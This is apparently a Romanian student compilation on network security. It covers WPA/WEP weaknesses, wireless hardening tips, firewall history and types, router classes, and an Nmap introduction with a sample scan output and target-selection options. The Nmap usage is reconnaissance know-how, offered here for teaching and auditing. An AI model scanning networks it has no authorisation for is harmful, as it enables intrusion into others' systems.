WPA reprezinta dezvoltarea securitati retelelor wireless. Majoritatea producatorilor de echipamente wireless, ingrijorati de faptul ca solutiile WEP nu ofera siguranta de care avem atata nevoie, au trecut la adoptarea variantei WPA. La baza acesteia a stat un test al standardului IEEE 802.11, la care s-au adaugat cateva componente auxiliare implementate, cum ar fi criptarea AES. Din punctul de vedere al securitati, WPA prezinta cateva imbunatatiri, comparativ cu variantele anterioare.

Cea mai semnificativa are in vedere protocolul de criptare folosit. WPA foloseste pentru aceasta varianta TKIP, care are la baza acelasi algoritm, RC4, la fel ca si solutia WEP. Odata cu implementarea protocolului WPA se imbunatatesc si aspectele de integritate referitoare la platforma 802.11, prin care devine, virtual vorbind, imposibil a se insera mesaje intr-o conversatie, sau de a modifica un mesaj transmis pe traseul emitator-receptor.

O alta imbunatatire adusa de WPA are in vedere generarea codului de criptare. De fiecare data cand o statie de lucru este asociata retelei, se genereaza o noua cheie de criptare, care se bazeaza pe o sesiune de numere care sunt generate aleator, pe baza adresei MAC a statiei si pe baza punctului de acces.

Din pacate, pe cat de simplu este sa folosesti solutiile WPA, pe atat de mare este pericolul ca aceasta sa cedeze, in urma utilizarii. In momentul in care autentificarea 802.1X nu este folosita in cadrul WPA, este utilizata de sistem optiunea PSK (PreShared Key).

Practic, PSK genereaza o parola cu folosire indelungata care trebuie sa fie cunoscuta de toti userii care se conecteaza in cadrul retelei WLAN. In momentul folosirii combinatiei WPA-PSK, utilizatorul este susceptibil de a fi supus unui atac asupra pachetelor de date transmise.

O data ce atacatorul reuseste sa identifice aceasta parola de acces, el poate accesa sau parasi reteaua WLAN oricand, poate sa acceseze orice informatie doreste. Aceste tipuri de atacuri pot fi inlesnite de modul de alegere a parolei de acces.

Pentru a preintampina aceste atacuri nedorite, este necesar ca utilizatorii sa isi cripteze informatiile in urma conectarii wireless intr-un limbaj hexadecimal pe 64 de digiti. Cu toate acestea, putini sunt cei care folosesc o asemenea criptare, astfel incat pericolul este cu adevarat real.

4.3.3 Atacuri asupra retelelor wireless

Exista diferite tipuri de atacuri care pot afecta o conexiune wireless, printre care putem enumera:

o Atacuri pasive care reprezinta captarea pachetelor tranzitate si decodarea lor;

o Atacuri active care reprezinta injectarea de pachete de date in traficul retelei de la o statie neautorizata;

o Atacuri active prin decriptarea traficului efectuat intr-un Acces Point;

o Atacuri inteligente care reprezinta elaborarea unui plan de decriptare, astfel reusindu-se decriptarea in timp real a traficului intre doua echipamente wireless.

Cum vom proceda pentru a ne feri de posibilele atacuri externe si de persoanele nepoftite care vor incerca sa se conecteze la reteaua noastra?

1. In primul rand trebuie sa tineti cont de denumirea computerului sau access point-ului care va asigura conexiunea. Echipamentele in momentul achizitionarii au un nume implicit, numit SSID (Service Set Identifier) sau ESSID (Extended Service Set Identifier). Din aceasta cauza este foarte usor pentru un hacker sa intuiasca acest nume si este absolut necesar sa il schimbati. Insa ID-ul (identifier) pe care il alegeti nu trebuie sa fie un nume comun, ca de exemplu numele dumneavoastra. Este mult mai bine daca ati alege o denumire unica, greu de intuit.

2. Activati algoritmii de criptare WEP (Wired Equivalent Privacy) sau WPA (Wi-Fi Protected Access) a pachetelor ce sunt transmise intre computere sau intre computere si access point. Algoritmii de criptare a datelor vor codifica pachetele transferate, protejandu-le astfel impotriva celor care au posibilitatea de a le intercepta. Se stie ca algoritmul WEP este relativ usor de depasit, de aceea daca echipamentul pe care il detineti dispune si de criptare WPA este indicat sa o utilizati pe aceasta. WEP se bazeaza pe o cheie de criptare impartita intre toate computerele si access point-urile membre ale retelei respective. Aceasta cheie este folosita si pentru verificarea pachetelor de date transmise ca nu cumva sa fi suferit modificari in tranzit. In practica, administratorul retelei stabileste o cheie de criptare care este introdusa pe access point-ul care managerizeaza reteaua, iar fiecare computer care va deveni membru al retelei respective va primi aceeasi cheie, astfel incat comunicarea sa fie posibila. Cu cat cheia este codata pe mai multi biti (64, 128, 256), cu atat este mai sigura, fiind mult mai greu de decodificat. Spre deosebire de WEP, WPA include un nou mecanism in criptarea datelor, si anume TKIP (Temporal Key Integrity Protocol). Acest mecanism furnizeaza o cheie dinamica de criptare a datelor si autentificare reciproca. WPA genereaza automat si periodic o noua cheie unica de criptare pentru fiecare client. De fapt, utilizeaza cate o cheie pentru fiecare pachet transmis. Prin utilizarea cheilor autogenerate se evita posibilitatea de repetare pe o perioada lunga de timp, evitand astfel posibilitatea sa o intercepteze cineva .

3. Majoritatea routerelor si access point-urilor wireless inglobeaza si un firewall care pentru un hacker inseamna un nou pas de trecut. Firewall-ul va permite sa decideti cine are dreptul sa se conecteze la echipamentul respectiv. Configurarea firewall-ului difera de la un echipament la altul, iar pentru o configurare riguroasa este necesar sa cititi manualul echipamentului respectiv.

4. In cazul Access Point-urilor si routerelor wireless pentru a intra in modul de configurare este necesar sa se introduca parola de administrator. Implicit, parola de administrator este 1234 sau numele echipamentului si de aceea este usor de aflat. Din aceasta cauza va recomandam sa o schimbati de la prima logare, deoarece daca este aflata, oricine se poate conecta la echipament si poate intra in modul de configurare, putand astfel sa va creeze neplaceri.

Ca si in cazul ID-ului este bine ca parola sa nu fie un cuvant comun sau usor de aflat, ca de exemplu numele dumneavoastra, data nasterii sau numarul de la masina.

5. Un ultim aspect de care trebuie sa se tina cont in securizarea retelei wireless este acela de a va actualiza sistemul de operare si, de asemenea, sa se instaleze un firewall personal si un anti-virus. Este bine cunoscut faptul ca virusii creeaza mari probleme de securitate sistemelor in care patrund. Anti-virusul este bine sa fie actualizat zilnic pentru a nu fi descoperiti in fata multitudinii de virusi existenti. Cei care utilizeaza sisteme de operare Windows pot folosi Windows Update pentru actualizarea cu cele mai noi update-uri de la Micosoft.

Cele cinci criterii descrise sunt esentiale daca nu doriti ca documentele si fisierele d-voastra sa fie accesate de terte persoane. Insa nu inseamna ca daca ati efectuat toti acesti cinci pasi sunteti invulnerabil 100%.

4.4 Bibliografie

[1][2]

[2.1][2.2] biblioteca.ase.ro/

[2.4]

[3]

Capitolul 5

Solutii de protectie impotriva programelor de tip Server clandestin: Firewall-uri, Routere, Port scannere, Utilitarul „NetStat” din Windows

RADULESCU ELENA NICOLETA

5.1 Introducere

Extinderea prelucrarilor electronice de date si a transmiterii acestora presupune o crestere

a securitatii pe Internet. Este important ca operatiile asupra informatiilor confidentiale sa se desfasoare in deplina siguranta in conditiile in care Internetul a ajuns sa fie folosit inclusiv pentru realizarea de operatii bancare, cumparaturi sau plata unor taxe.

Prin folosirea de mecanisme de securitate, informatiile nu vor putea fi accesate sau interceptate de persoane neautorizate si se va impiedica falsificarea informatiilor transmise sau utilizarea clandestina a anumitor servicii destinate unor categorii specifice de utilizatori ai Internetului.

Categoriile din care fac persoanele ce atenteaza la securitate sunt foarte diversificate. Iata cateva dintre aceste tipuri de persoane:

• Hackerii – persoane care urmaresc sa obtina in mod clandestin anumite informatii, prin testarea securitatii sistemelor;

• Oameni de afaceri sau spioni din domenii diverse (militar, industrial) care incearca sa descopere secretele sau strategiile adversarilor;

• Angajati care acceseaza servicii ce in mod normal le-ar fi interzise;

• Fosti angajati care urmaresc sa distruga informatii, ca pe o forma de razbunare;

• Persoane care realizeaza fraude financiare (furtul numerelor de identificare a cartilor de credit, transferuri bancare ilegale, etc.);

Proiectantii resurselor hardware si software ale unei retele sunt obligati sa ia masuri de protectie serioase impotriva unor tentative rau intentionate, mai ales in conditiile in care exista atat de numeroase interese pentru „spargerea” unei retele.[1]

5.2 Sisteme firewall

5.2.1 Introducere - Securitatea retelelor, o problema semnalata incepand cu anul 1983

Securitatea retelelor – O asociere paradoxala a doi termeni?

„The only secure computer is one that’s unplugged, locked in a safe, and buried 20 feet under ground in a secure location ... and I’m not even too sure about that one” Dennis Huges, FBI

Securitatea retelelor este un proces greu de realizat deoarece avem de-a face cu sisteme interconectate cu un acces facil si in crestere atat pentru utilizatori cat si pentru alte sisteme. Aceasta securitate este distribuita, adica datele nu mai exista intr-un singur loc, caz in care securitatea trebuie coordonata. Avem de-a face cu platforme diferite:

• Unix, Linux

• Windows NT/2000/Pro/98/Me/XP/2003

• Mac OS

• Novell

• Open VMS

Problemele care atenteaza la securitatea unei retele sunt de natura diferita:

• „Patches”, „Bug fixes”, suspiciunile cu privire la un program bine scris

• Viermii: The Internet Worm Michaelangelo, Melissa, Kournakova, CodeRed, MyDoom, Blaster, Nimda, SQLSlammer, SoBig, Bagle, Sdbot, Nachi, W32.Bugbear, W32/Palyh, Santy, Sober, Zotob, Commwarrior.B, TK, etc.

Obiectivul urmarit este de a diminua riscurile printr-o analiza detaliata si printr-un management bine pus la punct:

• Care sunt riscurile?

• Care sunt resursele ce trebuie protejate?

• Care sunt amenintarile?

• Cum le contracaram?

• Definirea unei politici de securitate

• Implementarea politicii de securitate

Fiecare amenintare asupra securitatii retelelor trebuie examinata din perspectiva gradului in care afecteaza obiectivele principale pentru securizarea fiecarei resurse: disponibilitatea, confidentialitatea si integritatea.

Pentru protectia resurselor se face o abordare a securitatii pe mai multe zone:

1. Securitate la nivelul masinii (securitatea software-ului si securitatea fizica)

2. Securitatea la nivelul datelor

3. Securitatea la nivelul retelei de comunicatii

1. Securitatea la nivelul masinii consta intr-o securitate la nivel hardware si software ce este vitala pentru protectia sistemului: autentificarea utilizatorilor (parole obisnuite, parole de unica folosinta/ token-uri, utilizarea biometricilor, etc), securitatea locatiei (camere dedicate cu acces restrictionat, alarme, surse de backup al alimentarii, stoparea incendiilor, etc), patch-uri la nivel de sistem de operare si aplicatii.

2. Securitatea la nivelul datelor se realizeaza prin asigurarea faptului ca datele nu pot fi alterate, sterse sau pierdute de catre persoane/programe neautorizate, aceasta asigurare fiind critica pentru functionalitatea aplicatiilor (proceduri de salvare si restaurare, jurnalizare si audit, mecanisme de asigurare a integritatii – sume de contrl, functii de hashing criptografic, etc.).

3. Securitatea la nivelul comunicatiilor consta in stabilirea de prioritati deoarece conectarea la retea asigura accesul la date si resurse de calcul (Care calculatoare au acces?; Ce protocoale se vor utiliza?; Cum se va asigura accesul si cui?; Ce tehnologii vor fi folosite?).[2]

5.2.2 Sarcina de baza

Un firewall reprezinta o aplicatie software dedicata, care cerceteaza traficul de retea ce traverseaza un calculator si permite sau respinge accesul bazandu-se pe o serie de reguli.

Sarcina de baza a unui firewall este de a dirija o parte din continuitatea traficului intre retelele de calculatoare de pe diferite nivele de incredere. Exemplele tipice sunt reprezentate de Internet care este o zona lipsita de incredere si o retea interna care este o zona cu un nivel ridicat de incredere. O zona cu un nivel intermediar de incredere, situata intre Internet si reteaua interna, este adesea referita drept „reteaua perimetru” sau zona Demilitarizata (DMZ Demilitarized zone).

Sarcina unui firewall in interiorul unei retele este similara unei protectii anti incendiu (perete de foc) cu care este prevazuta constructia unei cladiri. In primul caz, acesta este folosit pentru a preveni patrunderea intr-o retea privata. In cel de-al doilea caz, rolul acestuia este de a controla si de a intarzia focul in a patrunde in structurile adiacente.

Fara o configurare adecvata, un firewall poate deveni deseori nefolositor. Practicile standard de securitate impun un set de reguli de „respingere automata”, ale unui firewall, in care singurele conexiuni ale retelei care au permisie sunt cele care au o permisie clara. Din pacate, o astfel de configurare necesita o intelegere detaliata a aplicatiilor de retea. Multe afaceri duc lipsa unei astfel de intelegeri si, astfel, este implementat un set de reguli de „accept automat”, in care tot traficul are acces daca nu este specificat altfel. Aceasta configurare duce la conexiuni de retea neasteptate, iar compromisul sistemului este mult mai probabil.

5.2.3 Istorie

Initial, termenul de firewall avea semnificatia unui perete ce limita focul sau potentialul foc in interiorul cladirii. Folosirea ulterioara a termenului face referire unor structuri similare, precum fasia de metal ce separa compartimentul motorului unui vehicul sau avion de compartimentul pasagerilor.

Tehnologia firewall a iesit la iveala spre sfarsitul anilor 1980 cand Internetul reprezenta o tehnologie destul de noua in ceea ce priveste utilizarea si conectivitatea la scara globala. Ideea originala a aparut ca raspuns la un numar major de spargeri ale securitatii pe Internet, ce au avut loc spre sfarsitul anilor 1980. In 1988, un angajat al NASA Ames Research Center din California a trimis un memo prin email colegilor spunand: „In momentul de fata suntem atacati de un virus de Internet! A lovit Berkeley, UC San Diego, Lawrence Livermore, Stanford si NASA Ames.”

Viermele Morris s-a extins prin multiple vulnerabilitati ale masinilor timpului. Desi, nu avea intentii malitioase, viermele Morris a fost primul atac de proportii la adresa securitatii Internetului; comunitatea online a fost luata total prin surprindere fiind nepregatita de a face fata unui asemenea atac.

Prima generatie – pachet de filtrare

Prima documentatie privind tehnologia firewall a aparut in anul 1988, cand inginerii de la Digital Equipment Corporation (DEC) au dezvoltat sisteme de filtrare numite filtre de pachete. Acest sistem aproximativ de baza a reprezentat prima generatie a ceea ce urma sa devina o caracteristica tehnica de securitate destul de evoluata. In cadrul laboratoarelor AT&T Bell, Bill Cheswick si Steve Bellovin si-au continuat cercetarile in ceea ce privea filtrul de pachete, dezvoltand un model functional pentru propria companie bazat pe originala lor idee a arhitecturii primei generatii.

Filtrul de pachete functioneaza prin cercetarea „pachetelor” care reprezinta principala unitatea de transfer de date intre computerele de pe Internet. Daca un pachet corespunde setului de reguli ale unui filtru de pachete, acesta din urma va descarca pachetul respectiv (descarcare fara probleme) sau il va respinge (descarcare, dar cu „raspunsuri de eroare” catre sursa).

Acest tip de filtru de pachete nu acorda nicio atentie daca pachetul face parte dintr-un sir existent de trafic (nu stocheaza nicio informatie privind „starea” conexiunii). In schimb, acesta filtreaza fiecare pachet doar pe baza informatiilor continute de pachete in sine (in general, utilizand o combinatie intre sursa, adresa de destinatie si protocol ale pachetului, iar pentru traficul TCP si cel UDP, care cuprind mare parte din comunicatiile Internet, utilizand numarul portului).

Deoarece traficul TCP si cel UDP folosesc prin conventie porturi bine cunoscute pentru tipuri particulare de trafic, un filtru de pachete „fara stare” poate face diferenta intre acele tipuri de trafic si astfel le poate controla (precum cautare pe web, printare la comanda, trimitere de email, transfer de fisiere), cu exceptie in cazul masinilor in care se folosesc porturi non-standard de ambele parti ale filtrului de pachete.

A doua generatie – filtrele „cu stare”

Intre anii 1980-1990, trei colegi, Dave Presetto, Janardan Sharma si Kshitij Nigam, din Laboratoarele AT&T Bell, au dezvoltat a doua generatie de firewall-uri, numindu-le firewall-uri cu nivel de circuit.

A doua generatie de firewall-uri nu examineaza pur si simplu continutul fiecarui pachet fara a tine cont de pozitionarea acestuia in seria de pachete, asa cum s-a intamplat cu predecesorii, ci mai degraba compara cateva parti cheie ale bazei de date (de incredere) a pachetelor. Aceasta tehnologie este adesea referita drept „firewall cu stare” deoarece tine socoteala asupra tuturor conexiunilor ce trec prin firewall si este capabila sa determine daca pachetul este inceputul unei noi conexiuni sau o parte a uneia deja existente. Totusi exista inca o serie de reguli statice in astfel de firewall-uri, starea conexiunii poate fi ea insasi unul dintre criteriile care declanseaza reguli specifice.

Acest tip de firewall poate ajuta la prevenirea atacurilor care exploateza conexiunile existente sau a atacurilor DoS (Denial of service).

A treia generatie – Substrat de aplicatie

Publicatiile lui Gene Spafford de la Universitatea Purdue, Bill Cheswick de la Laboratoarele AT&T si Marcus Ranum descriu a treia generatie de firewall-uri cunoscuta drept firewall cu substrat de aplicatie sau firewall proxy. Munca lui Marcus Ranum asupra tehnologiei a initiat crearea primului produs comercial. Produsul a fost lansat de DEC cu numele de SEAL product. Prima vanzare majora a avut loc pe 13 Iunie 1991 catre o companie chimicaaflata pe Coasta de Est a Statelor Unite.

Beneficiul principal al filtrarii cu substrat de aplicatie este acela ca poate intelege anumite aplicatii si protocoale (precum Protocolul de transfer de date, DNS sau cautare pe web) si poate detecta fie daca un protocol nedorit se furiseaza inauntru printr-un port non-standard, fie daca se abuzeaza de un protocol intr-n mod daunator.

Dezvoltari ulterioare

In 1992, Bob Braden si Annette DeSchon la Universitatea din Southern California (USC) au rafinat conceptul de firewall. Produsul cunoscut drept „Visas” a fost primul sistem cu interfata vizuala integrata avand icoane si culori, ce putea fi usor de implementat si de accesat pe un sistem de operare precum Microsoft Windows sau Apple MacOS. In 1994, o companie israeliana numita Check Point Software Technologies a integrat aceasta tehnologie intr-un software usor cunoscut sub numele de FireWall-1.

5.2.4 Tipuri de firewall

Exista o serie de clasificari ale firewall-urilor in functie de locul unde are loc comunicatia, de locul unde a fost interceptata comunicatia si de starea care este urmarita.

Filtru de pachete

Filtrul de pachete opereaza la un nivel relativ scazut al protocolului TCP/IP, fara a permite trecerea pachetelor prin firewall decat daca se potrivesc setului de reguli stabilit. Administratorul firewall-ului poate defini acest set de reguli; sau se pot aplica reguli implicite.

Filtrele de pachete se pot incadra intr-una din cele doua categorii, cu stare sau fara stare. Firewall-urile cu stare mentin contextul despre sesiunile active si folosesc acea „informatie de stare” pentru a mari ritmul procesarii pachetelor. Orice conexiune la retea existenta poate fi descrisa de numeroase proprietati, inclusiv sursa si destinatia adresei IP, porturi UDP si TCP si stadiul curent al perioadei de functionare a conexiunii (incluzand initierea sesiunii, handshaking, transfer de date sau completarea conexiunii). Daca un pachet nu corespunde unei conexiuni existente, va fi evaluat potrivit setului de reguli pentru conexiuni noi. Daca un pachet corespunde unei conexiuni existente pe baza compararii cu tabela de stare a firewall-ului, acestuia i se va permite sa treaca fara alta procesare.

Firewall-urile fara stare au capacitati de filtrare de pachete, dar nu pot lua decizii mai complexe despre stadiul comunicarii intre gazde la care au ajuns.

Substrat de aplicatie

Firewall-urile cu substrat de aplicatie functioneaza la substratul de aplicatie al portului TCP/IP si pot intercepta toate pachetele care calatoresc catre sau dinspre aplicatie. In principiu, firewall-uile de aplicatie pot preveni ca tot traficul exterior nedorit sa ajunga la masinile protejate.

Proxy

Un dispozitiv proxy (functionand fie pe un hardware dedicat sau ca un software pe o masina cu scopuri multiple) se poate comporta precum un firewall raspunzand pachetelor de intrare (de exemplu, cereri de conexiune) in maniera unei aplicatii, in timp ce blocheaza alte pachete.

Firewall NAT

Firewall-urile au adesea o functionalitate de traducere a adresei retelei (Network address translation - NAT) si gazdele protejate de firewall au adrese in „zona privata de adrese”, definita in RFC 1918. Firewall-urile au adesea aceasta functionalitate pentru a ascunde adevarata adresa a gazdei protejate. Ascunderea adreselor dispozitivelor protejate a devenit o aparare importanta in continua dezvoltare impotriva recunoasterii retelei (network reconnaissance). [3]

5.3 Routere

5.3.1 Introducere

Un router este un computer al carui software si hardware sunt de obicei croite conform sarcinilor de rutare si de expediere, in general, continand sisteme de operare specializate (de exemplu, Cisco IOS sau Juniper Networks JUNOS si JUNOSe sau Extreme Networks XOS), RAM, NVRAM, memorie flash si unul sau mai multe procesoare. Router-ele mai sofisticate contin multe procesoare si aplicatii-circuite integrate specifice specializate (Application-specific integrated circuits - ASIC) si realizeaza foarte mult calcul paralel. Sistemele cu carcasa precum switch-urile de rutare Nortel MERS-8600 sau ERS-8600 au multiple ASIC-uri pe fiecare modul si permit tehnologii de port pentru o larga varietate de LAN, MAN, METRO si WAN sau alte conexiuni care pot fi modelate. Insa, cu un software compatibil (XORP sau Quagga), chiar si calculatoarele obisnuite se pot comporta precum router-ele.

NORTEL ERS-8600 Routere Cisco 7600 Enterprise

Route-ele se conecteaza la doua sau mai multe subretele logice, care nu sunt neaparat conectate unul-la-unul la interfata router-ului. Termenul de switch cu 3 straturi este deseori interschimbabil cu termenul de router, dar switch este de fapt un termen de marketing fara o definitie tehnica riguroasa.

Router-ele opereaza in doua planuri diferite:

• Planul de control – in care router-ul invata interfata de trimitere care este cea mai apropiata sa expedieze anumite pachete spre anumite destinatii.

Router-ele sunt precum nodurile, pe cand subretelele sunt precum stazile si gazdele precum casele

Procesarea Planului de control duce la construirea a ceea ce se numeste tabela de rutare sau baza de rutare a informatiei (routing information base - RIB). RIB-ul poate fi folosit de Planul de expediere sa verifice interfetele indepartate dupa pachet anume sau, depinzand de implementarea router-ului, Planul de control poate popula o baza separata de expediere a informatiei (Forwarding Information Base - FIB) cu destinatia informatiei. RIB-urile sunt optimizate pentru update-uri eficiente cu mecanisme de control precum protocoale de rutare, in timp ce FIB-urile sunt optimizate pentru cea mai rapida cautare a informatiei necesare pentru selectarea interfetei indepartate.

Planul de control construieste tabela de rutare din cunostintele status-ului up/down ale interfetelor sale locale, de la traseele statice codate si prin schimbarea de informatii de protocol de rutare cu alte routere. Tabela de rutare inmagazineaza cele mai bune trasee catre destinatii de retea sigure, „metrica de rutare” („routing metrics”) asociata acelor trasee si calea catre urmatorul router.

Router-ele mentin starea traseelor in tabela de rutare/RIB, dar acest lucru este foarte diferit de nementinerea starii pachetelor individualecare au fost expediate.

• Planul de expediere – care este responsabil cu procesul propriu-zis de trimitere a unui pachet primit pe o interfata logica catre o alta interfata logica avand o destinatie indepartata.

Pentru functia pura de expediere IP, router-ul realizeaza incercari pentru a minimiza informatia de stare pastrata pe pachete individuale. Odata ce pachetul este expediat, router-ul ar trebui sa retina doar informatiile statistice privind aceasta. Sfarsitul expedierii si a receptarii retin informatia despre aceste lucruri precum pachete eronate sau pierdute.

Printre cele mai importante decizii de expediere este acea de luare a unei decizii cand are loc congestia, pachetele ajung la router la o rata mai mare decat acesta poate procesa.

5.3.2 Tipuri de routere

Router-ele pot oferi conectivitate in interiorul intreprinderilor, intre intreprinderi si Internet si in interiorul Furnizorilor se servicii Internet (Internet Service Providers - ISP). Cel mai mare router (de exemplu Cisco CRS-1 sau Juniper T1600) ce interconecteaza ISP sunt folosite in interiorul ISP sau pot fi folosite in retelele foarte mari ale intreprinderilor. Un exemplu de router pentru o intreprindere ar fi Cisco 7600. Cele mai mici routere ofera conectivitate pentru birou mici sau pentru acasa (de exemplu, Linksys BEFSR41)

Router Linksys BEFSR41 DSL Sistem de rutare Cisco CRS-1 Carrier

Routere pentru conectivitate Internet si utilizare interna

Router-ele menite pentru ISP si pentru conectivitatea intreprinderilor vor schimba in mod invariabil informatii de rutare cu Border Gateway Protocol. RFC 4098 defineste o serie de tipuri de routere de comunicare BGP:

• Provider Edge Router – este plasat la marginea retelei ISP, el comunica BGP extern (eBGP) catre un speaker BGP al unui alt furnizor sau intreprindere Sistem Autonom (Autonomous System - AS).

• Subscribe Edge Router – localizat la marginea retelei subscrise, el comunica eBGP furnizorilor sai AS.

• Inter-provider Border Router – un router BGP de comunicare care mentine sesiuni de BGP cu alte routere BGP de comunicare sistemele autonome ale altor furnizori.

• Core router – un router care apartine mai degraba zonei de mijloc sau centrale a retelei decat la periferia acesteia.

Routere pentru conectivitate mica sau pentru birourile de casa (SOHO)

Router-ele rezidentiale sunt deseori folosite in case pentru a se conecta la un serviciu de conexiune la Internet, precum IP prin cablu sau DSL. Un router de casa poate permite conectivitatea cu o intreprindere printr-o retea virtuala privata securizata (Viturl Private Network). Aceste routere rezidentiale folosesc NAT (network address translation) in loc de rutare.

Routere industriale

Toate marimile de routere pot fi gasite in interiorul intreprinderilor. Routerele puternice se gasesc, in general, in ISP-uri, in domeniul academic sau de cercetare, dar si un domeniu precum cel al afacerilor poate avea nevoie de routere de dimensiuni mari.

Routere de acces

Routerele de acces, inclusiv SOHO, sunt localizate la site-urile de clienti precum birouri ce nu au nevoie de rutare ierarhizata. De obicei, sunt optimizate pentru cost redus.

Routere de distributie

Routerele de distributie asambleaza trfisul din multiple routere de acces, fie pe acelasi site sau pentru a colecta datele de pe site-uri multiple catre o locatie majora de intreprindere. Aceste routere, deseori au responsabilitatea de a mari calitatea serviciului in WAN, avand asadar memorie considerabila, multiple interfete WAN si inteligenta de procesare substantiala.[4]

[5]

5.4 Port scannere Nmap

Nmap — Instrument de explorare a retelei si scaner de securitate / porturi

nmap [Tip de scanare...] [Optiuni] {specificarea tintei}

5.4.1 Introducere

Nmap (“Network Mapper”) este un instrument open source pentru explorarea retelei si audit de securitate. A fost proiectat sa scaneze repede retele mari, cu toate ca functioneaza bine si la scanarea unui singur host. Nmap foloseste pachete IP in forma bruta intr-un mod inovator pentru a determina ce calculatoare sunt disponibile in retea, ce servicii (numele aplicatiei si versiunea) ofera acestea, ce sistem de operare (si versiune) ruleaza, ce tipuri de filtre de pachete/firewall sunt utilizate si o multime de alte caracteristici. Nmap este folosit in mod curent in procesul de audit al securitatii, dar este folosit si de administratorii de retea pentru rutinele de inventariere a retelei, managementul upgradeurilor si monitorizarea calculatoarelor sau a perioadelor de uptime pentru servicii.

Rezultatul generat de Nmap este o lista de tinte scanate, cu informatii secventiale despre fiecare in functie de optiunile utilizate. O parte cheie a informatiilor furnizate este“tabela de porturi interesante”. Aceasta tabela contine numarul portului si protocolul, numele serviciului si starea. Starea poate fi open (deschis), filtered (filtrat), closed (inchis) sau unfiltered (nefiltrat). Deschis (open) inseamna ca aplicatia de pe masina tinta asculta la portul respectiv, asteptand conexiuni filtered (filtrat) inseamna ca un firewall, filtru sau alt obstacol in retea blocheaza respectivul port astfel incat Nmap nu poate spune daca este deschis sau inchis. Porturile inchise nu au nici o aplicatie care sa astepte conexiuni, cu toate ca ele se pot deschide in orice moment. Porturile sunt clasificate ca nefiltrate cand ele raspund la probele Nmap, dar Nmap nu poate determina daca sunt inchise sau deschise. Nmap raporteaza combinatia de stari open|filtered (deschis|filtrat) si closed|filtered (inchis|filtrat) cand nu poate determina care din cele doua stari este cea corecta. Tabela de porturi mai poate include versiuni ale software-ului cand detectia versiunii a fost solicitata. Cand un protocol de scanare IP este solicitat (-sO), Nmap furnizeaza informatii despre protocoalele IP suportate in locul listei de porturi.

In plus fata de lista de porturi interesante, Nmap poate furniza si alte informatii despre tinte, incluzand aici nume obtinute prin reverse DNS, poate ghici sistemul de operare, tipul hardwareului si adresele MAC.

O scanare tipica cu Nmap este exemplificata in Example 1. Singurele argumente folosite in aceste exemplu sunt -a, pentru a activa detectia versiunii si a sistemului de operare, -t4 pentru executia mai rapida a scanarii, si apoi specificatiile pentru cele doua tinte.

Example 1. O scanare reprezentativa cu Nmap

# nmap -A -T4 scanme. playground

Starting nmap ( )

Interesting ports on scanme. (205.217.153.62):

(The 1663 ports scanned but not shown below are in state: filtered)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)

53/tcp open domain

70/tcp closed gopher

80/tcp open http Apache httpd 2.0.52 ((Fedora))

113/tcp closed auth

Device type: general purpose

Running: Linux 2.4.X|2.5.X|2.6.X

OS details: Linux 2.4.7 - 2.6.11, Linux 2.6.0 - 2.6.11

Uptime 33.908 days (since Thu Jul 21 03:38:03 2005)

Interesting ports on playground. (192.168.0.40):

(The 1659 ports scanned but not shown below are in state: closed)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

389/tcp open ldap?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1002/tcp open windows-icfw?

1025/tcp open msrpc Microsoft Windows RPC

1720/tcp open H.323/Q.931 CompTek AquaGateKeeper

5800/tcp open vnc-http RealVNC 4.0 (Resolution 400x250; VNC TCP port: 5900)

5900/tcp open vnc VNC (protocol 3.8)

MAC Address: 00:A0:CC:63:85:4B (Lite-on Communications)

Device type: general purpose

Running: Microsoft Windows NT/2K/XP

OS details: Microsoft Windows XP Pro RC1+ through final release

Service Info: OSs: Windows, Windows XP

Nmap finished: 2 IP addresses (2 hosts up) scanned in 88.392 seconds

5.4.2 Specificarea tintelor

Nmap accepta specificarea mai multor adrese in linia de comanda si nici nu este necesar ca ele sa fie de acelasi tip. Comnda ‘nmapscanme. 192.168.0.0/8 10.0.0,1,3-7.0-255’ realizeaza exact ceea ce se asteapta.

Desi tintele sunt specificate in mod uzual in linia de comanda, exista si urmatoarele optiuni pentru selectia tintelor :

-iL (Preluare dintr-un fisier) - Citeste specificatiile tintelor din fisierul de intrare.

-iR (Alegere de tinte aleatoare) - Numarul de tinte comunica Nmap-ului cate tinte aleatoare sa genereze. Adrese nedorite cum ar fi IPurile private, cele de multicast sau cele nealocate sunt sarite in mod automat la generarea listei.

-exclude(Se exclud de la scanare calculatoarele/retelele specificate ca argument) - Specifica o lista separata prin virgula de tinte excluse de la scanare chiar daca ele se afla in domeniul specificat.

--excludefile (Lista de excludere dintr-un fisier) - Aceasta ofera aceeasi functionalitate ca si optiunea--exclude, cu exceptia ca tintele excluse sunt furnizate intr-un format delimitat prin linie noua, spatiu sau tab din fisierul_de_excludere in loc sa fie furnizate din linia de comanda.

5.4.3 Descoperirea hosturilor

Deoarece necesitatile in vederea descoperirii hosturilor sunt atat de diverse , Nmap ofera o varietate mare de optiuni de personalizare a tehnicilor folosite. Descoperirea hosturilor este adesea numita scanare ping, dar trece cu mult de simplul stadiu al pachetelor ICMP care solicita un raspuns asociate omniprezentului instrument ping. Utilizatorii pot sari de pasul care implica pingul cu o scanare de tip lista (-sL) sau dezactivand pingul (-P0) sau angrenand alte combinatii arbitrare de probe multiport TCP SYN/ACK, UDP si ICMP. Scopul acestor probe este sa solicite raspunsuri care sa demonstreze daca o adresa IP este cu adevarat activa (este folosita de un dispozitiv din retea). In multe retele, doar un mic procentaj de adrese IP sunt active la un moment dat. Acest lucru este in mod special adevarat intr-un spatiu de adrese rezervat conform RFC1918 cum ar fi 10.0.0.0/8. Aceasta retea are 16 milioane de IPuri, dar sunt folosite de companii cu mai putin de o mie de calculatoare. Descoperirea hosturilor poate gasi acele masini risipite in marea de adrese IP.

Daca nu sunt furnizate optiuni de descoperire a hosturilor, Nmap trimite un pachet TCP ACK destinat portului 80 si un pachet de interogare ICMP cu solicitare de raspuns la fiecare masina tinta. Descoperirea hosturilor este de obicei suficienta pentru scanarea retelelor locale, dar un set mult mai cuprinzator de probe pentru descoperire este recomandat in auditul de securitate.

Urmatoarele optiuni controleaza descoperirea hosturilor.

